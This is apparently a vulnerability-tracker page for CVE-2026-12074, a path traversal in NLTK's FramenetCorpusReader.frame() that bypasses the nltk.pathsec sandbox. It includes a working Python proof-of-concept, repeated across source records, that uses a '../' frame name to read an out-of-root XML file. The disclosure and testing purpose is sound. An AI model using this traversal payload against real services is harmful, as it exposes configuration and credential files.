CVE-2026-12074
Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content unexpected: {definition!r}")
verdict = "INCONCLUSIVE"
except FramenetError as e:
# Patched build (#3581): _reject_unsafe_path_component raises before open().
print(f"\n [SAFE] FramenetError: {e}")
print(" traversal rejected before any file was opened (patched)")
verdict = "NOT VULNERABLE"
except Exception as e:
print(f"\n [SAFE] {type(e).__name__}: {e}")
verdict = "NOT VULNERABLE"
# Control: a plain absent name must fail as 'Unknown frame', NOT as a read.
print("\n[CONTROL] benign absent name should be 'Unknown frame':")
try:
fn.frame("Definitely_Not_A_Frame")
print(" [?] unexpectedly succeeded")
except Exception as e:
print(f" ok -> {type(e).__name__}: {e}")
print("\n" + "=" * 59)
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 59)
if __name__ == "__main__":
main()
Impact
- Out-of-sandbox arbitrary XML read. Any application that routes attacker-influenced input into
frame()can be made to read XML files from directories outside the intended corpus root and have their parsed content returned.frame()is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - Broad read primitive. Only a fixed
.xmlextension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - Silent bypass of an advertised boundary. NLTK's
SECURITY.mdpresents thenltk.pathsecsandbox andENFORCE=Trueas a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Becauseframe_by_namebuilds the path itself and reads through a string-pathXMLCorpusView, the containment guard is never called andENFORCE=Truedoes not block the read — silently, with no error or warning. - Crafted-corpus reach. Via
doc()and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - Sensitive targets. Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where
frame()output is reflected to the requester, disclosure is direct and non-blind.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
What each source reports
GitHub Advisories Score usedGHSA-xh95-f55m-82fw
7.5
Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content…
- Record
GHSA-xh95-f55m-82fw- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-xh95-f55m-82fw
7.5
Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content…
- Record
GHSA-xh95-f55m-82fw- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVPYSEC-2026-3584
7.5
Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)
Summary
FramenetCorpusReader.frame(name) interpolates a caller-supplied frame name into an XML file path that is read with the builtin open(), bypassing CorpusReader.open() and the nltk.pathsec sandbox — including strict ENFORCE=True mode. A ../ sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller.
Details
frame_by_name builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed .xml extension, with no containment check, then constructs an XMLCorpusView from that string path. Because the view is built from a string rather than a PathPointer, it reads with the builtin open(), so nltk.pathsec.validate_path() is never invoked and ENFORCE=True does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; frame_by_name never goes through CorpusReader.open(), so that protection does not apply.
The same string-path-into-XMLCorpusView pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller:
doc()— uses the index entryfilenamefield- the lexical-unit file loader — uses the
lexUnitID attribute
These are reachable through a malicious or attacker-modified FrameNet corpus index.
PoC
"""
import os
import sys
import tempfile
import warnings
from pathlib import Path
warnings.filterwarnings("ignore")
# --- Turn the documented strict sandbox ON, before importing the reader. ---
import nltk.pathsec as ps
ps.ENFORCE = True
import nltk
from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError
FRAME_XML = (
'<?xml version="1.0" encoding="UTF-8"?>\n'
'<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n'
"<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n"
"</frame>\n"
)
BANNER = """\
===========================================================
NLTK FramenetCorpusReader.frame() Path Traversal PoC
nltk {ver} | nltk.pathsec.ENFORCE = {enforce}
===========================================================""".format(
ver=nltk.__version__, enforce=ps.ENFORCE
)
def build_corpus():
"""Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root."""
base = Path(tempfile.mkdtemp(prefix="fn_poc_"))
root = base / "corpora" / "framenet"
for d in ("frame", "fulltext", "lu"):
(root / d).mkdir(parents=True)
(root / "frameIndex.xml").write_text(
'<?xml version="1.0"?><frameIndex></frameIndex>'
)
(root / "frRelation.xml").write_text(
'<?xml version="1.0"?><frameRelations></frameRelations>'
)
# A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target).
secret = base / "private"
secret.mkdir()
(secret / "secret.xml").write_text(FRAME_XML)
return base, root, secret / "secret.xml"
def main():
print(BANNER)
base, root, secret_path = build_corpus()
print(f"[*] corpus root : {root}")
print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n")
fn = FramenetCorpusReader(str(root), [])
# Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml
evil = os.path.join("..", "..", "..", "private", "secret")
print(f"[*] calling fn.frame({evil!r})")
try:
f = fn.frame(evil)
definition = f["definition"]
if "SECRET-OUT-OF-ROOT-CONTENT" in definition:
print("\n [VULN] out-of-root file was read and returned to caller")
print(f" frame name : {evil}")
print(f" frame ID : {f['ID']} name: {f['name']}")
print(f" definition : {definition}")
print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print(f"\n [?] frame() returned but content…
- Record
PYSEC-2026-3584- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-12074 No score
[Unknown description]
- Record
UBUNTU-CVE-2026-12074- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
nltkPyPI |
through 3.9.4 | 3.10.0 |
nltkDebian:12 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.8-13.8.1-1 Show 4 moreShow less3.9.1-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:13 |
All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1 |
None known |
nltkDebian:14 |
before 3.10.0-1, plus listed versions 3.9.1-23.9.2-13.9.3-1 |
3.10.0-1 |
nltkPyPI |
before 3.10.0, plus listed versions 0.80.90.9.30.9.40.9.5 Show 45 moreShow less0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1 |
3.10.0 |
nltkUbuntu:Pro:14.04:LTS |
All versions, plus listed versions 2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6 |
None known |
nltkUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4 |
None known |
nltkUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4 |
None known |
nltkUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2 |
None known |
nltkUbuntu:26.10 |
All versions, plus listed versions 3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1 |
None known |
nltkUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-12074 is a high vulnerability (CVSS 7.5) in nltk, published July 31, 2026. No source lists public exploit code. Fixed in nltk 3.10.0.
References
github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw
github.com/advisories/GHSA-xh95-f55m-82fw
security-tracker.debian.org/tracker/CVE-2026-12074
github.com/nltk/nltk
pypi.org/project/nltk
nvd.nist.gov/vuln/detail/CVE-2026-12074
ubuntu.com/security/CVE-2026-12074
cve.org/CVERecord?id=CVE-2026-12074
Left out here: 15 versions and the rest of 3 source descriptions. The JSON record has them.